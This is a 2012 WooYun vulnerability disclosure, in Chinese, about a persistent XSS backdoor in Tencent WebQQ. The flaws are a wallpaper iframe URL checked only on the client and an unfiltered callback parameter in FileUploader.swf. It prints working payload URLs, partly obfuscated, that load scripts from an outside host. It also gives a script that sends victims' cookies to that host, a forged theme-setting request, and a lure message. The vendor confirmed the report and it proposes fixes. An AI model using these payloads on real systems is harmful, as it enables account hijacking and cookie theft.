当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07999

漏洞标题:腾讯WEBQQ的持久劫持 - 反射型XSS到XSS后门的实现

相关厂商:腾讯

漏洞作者: gainover

提交时间:2012-06-07 16:25

修复时间:2012-07-22 16:25

公开时间:2012-07-22 16:25

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-07: 细节已通知厂商并且等待厂商处理中
2012-06-07: 厂商已经确认,细节仅向厂商公开
2012-06-17: 细节向核心白帽子及相关领域专家公开
2012-06-27: 细节向普通白帽子公开
2012-07-07: 细节向实习白帽子公开
2012-07-22: 细节向公众公开

简要描述:

昨天在百度HI发现一个存储型的XSS之后,很自然的就联想到了WEBQQ,于是也对WEBQQ进行了测试。 发现一处问题,可对WEBQQ实现持久的劫持。当然,导致这个问题的一个功能,也是挺奇特的!-------------------- BTW,虽然腾讯也有漏洞响应平台了,= = 我也去看了下,开了个号,但是只看到漏洞贡献者名称,没有其他信息,有点迷茫的感觉,所以还是提交到乌云吧。

详细说明:

-------------------第一章,这是个什么奇葩的功能-----------------------
1. 进入WEBQQ之后,首先是对聊天功能进行了测试,未发现和百度HI一样的问题。
2. 而后,查看了WEBQQ的设置功能--》主题设置--》自定义。


3. 竟然拿一个网页做背景, 看来开发人员这么相信自己水平。 我随手试了下,可以拿百度直接做背景。 当然这本身不会带来安全问题,因为,跨域无法访问cookies数据。但是不能想象,这里的代码肯定是 <iframe src="http://www.baidu.com"></iframe>这样的代码!
4. 如果地址可以被设置为javascript:alert(1),那么问题就来了。<iframe src="javascript:alert(1)"></iframe> 将会引发跨站。 可是腾讯貌似做了设置,非法链接了?


5. 但观察发现,实际这个没向服务器做验证,于是,我们发送正常地址,抓包,再将地址改为javascript:alert(1)。
刷新WEBQQ,成功弹出 1 。 这里我就不上图了,因为这章不重要~
理论上来说, <iframe src="javascript;alert(1)"></iframe> 应该是所有浏览器都可以的。
但在测试时候,IE却意外的不执行。 打开调试工具,也可以看到,确实存在 <iframe src="javascript;alert(1)"></iframe>。 找了下原因,也没找到,暂时没想到原因和解决办法!!
-------------------第二章,再现FLASH XSS-----------------------
但是,IE如果无效,就损失了很多可以被攻击的群体了,我们的目标是,通杀!
既然可以iframe百度的页面,那么我们也可以iframe自己的页面。
问题就是自己的页面,无法获取qq.com域下的cookies。
但是,如果我们能找到web.qq.com域名下的一个具有XSS的URL,然后iframe进我们自己的页面,就可以成功获取cookies了。
1. 打开google, site:web.qq.com ,没什么结果,发现 robots.txt禁止了搜索引擎的抓取。
2. 另一方面,常规的反射型XSS,扫描器都扫的差不多了,DOM-based的更是稀少。但是,flash类型的XSS,目前好像还不受到重视。
3. 打开httpwatch(另外一个基于代理的抓包软件打开后,WEBQQ无法正常使用), 发现了一个FLASH文件,看到地址里的,我就心动了! Fileupload.swf,默认回首,那FLASH就在灯火阑珊处。 (FLASH地址:http://web.qq.com/swf/FileUploader.swf)
4. 好,下载这个FLASH,反编译,搜索源码 ,external, 几下之后,可以发现 external.call调用了_jsCallback, _jsCallback=this.callback, this.callback则来自parameters.

var _local1:Object = LoaderInfo(root.loaderInfo).parameters;
if (_local1["callback"]){
this._jsCallBack = _local1["callback"]; <-- 直接调用未进行任何过滤
};


5. 对于FLASH XSS的利用,我在wooyun已经发过很多了。此处不多说。
直接上利用代码, 因为之前我提到过,以前的FLASH XSS代码,会导致Chrome崩溃,后来,我重新研究了下,对chrome和ie分别进行处理。
ie:

http://web.qq.com/swf/FileUploader.swf?callback=(function()%7Blocation.href%3D%22javascript%3A'<html><body>%3Cscript%3E(function(){function j(w){window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47)%2bw%2bString.fromCharCode(46,106,115);document.body.appendChild(window.s)}j(String.fromCharCode(106,113));j(String.fromCharCode(119,113))})()%3C%2Fscript%3E</body></html>'%22%7D)()


chrome

http://web.qq.com/swf/FileUploader.swf?callback=(function(){function j(w){window.s=document.createElement('script');window.s.src='//xsst.sinaapp.com/'%2bw%2b'.js';document.body.appendChild(window.s)}j('jq');j('wq')})()


6. 为了保证IE下,和chrome下都有效,这里我们用PHP在服务器端做个判断,根据浏览器类型做不同的输出。
http://xsst.sinaapp.com/webqqbg.php代码如下

see http://xsst.sinaapp.com/webqqbg.php.txt


7. http://xsst.sinaapp.com/webqqbg.php页面里的代码,会调用jq.js和wq.js
8. wq.js 代码如下, 作用是将访问者的cookies发送到服务器端。

var s=document.createElement("script");
s.src="http://xsst.sinaapp.com/getvfqq.php?cookie="+encodeURIComponent(document.cookie);
document.body.appendChild(s);


-------------------第三章,XSS后门的实现-----------------------
1. http://xsst.sinaapp.com/getvfqq.php 的代码如下,主要目的是,获取vfwebqq参数, 并将受害者的webqq壁纸设置为 http://xsst.sinaapp.com/webqqbg.php

see http://xsst.sinaapp.com/getvfqq.php.txt


2. getvfqq.php 会设置用户的主题

POST http://cgi.web2.qq.com/keycgi/qqweb/newuac/set.do
POSTDATA
retype 1
r {"appid":0,"value":{"theme":"theme_pinky_night","appearance":"","wallpaper":{"id":"theme_pinky_night","url":"http://www.baidu.com","mode":"iframe"}}}
vfwebqq 5a47e8c50d39d9607f288f38052070d6efbf15b60be7ef6b4d01347a846b4a16a0377419ab1a763f


10. 因此。 我们只需要向正在使用WEBQQ的人,发送以下消息:

嘿,在不,看看这个。
http://xsst.sinaapp.com/webqqbg.php


访问者访问了之后
--->就会引发flash xss
--->flash xss调用外部的wq.js
--->wq.js会调用http://xsst.sinaapp.com/getvfqq.php
--->getvfqq.php会获取vfwebqq参数,并向http://cgi.web2.qq.com/keycgi/qqweb/newuac/set.do发送主题数据
--->最后受害者的壁纸被设置成了http://xsst.sinaapp.com/webqqbg.php
--->每次登陆WEBQQ,都会加载我们自己的东西。
11. 向一个同学和一个朋友做了测试,均成功!


12. 上面可能写的有点乱。 下图比较清晰:


漏洞证明:

共测试3个用户。均成功实现劫持。劫持效果见详细说明。
当然这个漏洞,可以在WEBQQ界面,伪造登陆窗口来实现QQ号码的偷取。
没有对WEBQQ的架构进一步分析,是否可以实现聊天记录的监控,未进行深入测试。
IE,chrome,ff均可。

修复方案:

1. 壁纸这个功能,是否有必要使用HTML? 感觉挺危险的。 特别是对壁纸的地址,只在客户端进行了判断,很不严谨。
2. 对http://web.qq.com/swf/FileUploader.swf进行修复。 对传入的JS函数名称进行过滤。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-06-07 17:48

厂商回复:

非常感谢您的报告,我们已推动业务尽快修复。避免用户受到攻击。
gainover的分析和突破思路非常赞,我们给20份的rank,再次感谢。

最新状态:

暂无